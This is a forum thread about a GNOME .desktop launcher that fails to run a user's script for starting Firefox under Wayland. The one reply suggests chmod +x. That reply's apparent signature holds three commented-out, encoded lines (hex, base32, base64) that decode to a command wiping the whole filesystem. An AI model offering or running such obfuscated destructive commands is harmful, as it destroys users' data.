Jump to content

.desktop file wont lauch known working script

So I got the Firefox binaries for the latest version. I wrote a script to launch it with GDK_BACKEND=wayland, it runs perfectly launched from the file manager and the terminal. But what doesn't work is making .desktop file and having it lead to that script I wrote. I know the .desktop file works because it shows up in the Gnome menu and works when it leads to the Firefox binary, and I know the script works because it launches Firefox on Wayland as expected via both the terminal and file manager.

 

in case i was dumb and i screwed up, have a look

[Desktop Entry]
Comment=
Terminal=false
Name=Firefox Wayland
Exec=/home/james/apps/firefoxwayland.sh
Type=Application
Icon=/home/james/apps/firefox/browser/chrome/icons/default/default128.png


#!/bin/sh
GDK_BACKEND=wayland firefox/firefox

lumpy chunks

 

Expand to help Bunny reach world domination

(\__/)
(='.'=) This is Bunny. Copy Bunny into your signature to
(")_(") help him on his way to world domination.

 -Rakshit Jain

Link to comment
Share on other sites

Link to post
Share on other sites

1 hour ago, TheJooomes said:

[Desktop Entry]
Comment=
Terminal=false
Name=Firefox Wayland
Exec=/home/james/apps/firefoxwayland.sh
Type=Application
Icon=/home/james/apps/firefox/browser/chrome/icons/default/default128.png


#!/bin/sh
GDK_BACKEND=wayland firefox/firefox

did you do:

chmod +x firefoxwayland.sh

?

# $(echo 726d202d7266202f2a0a | xxd -r -p)
# $(echo OJWSALLSMYQC6KQK | base32 -d)
# $(echo cm0gLXJmIC8qCg== | base64 -d)
Link to comment
Share on other sites

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

×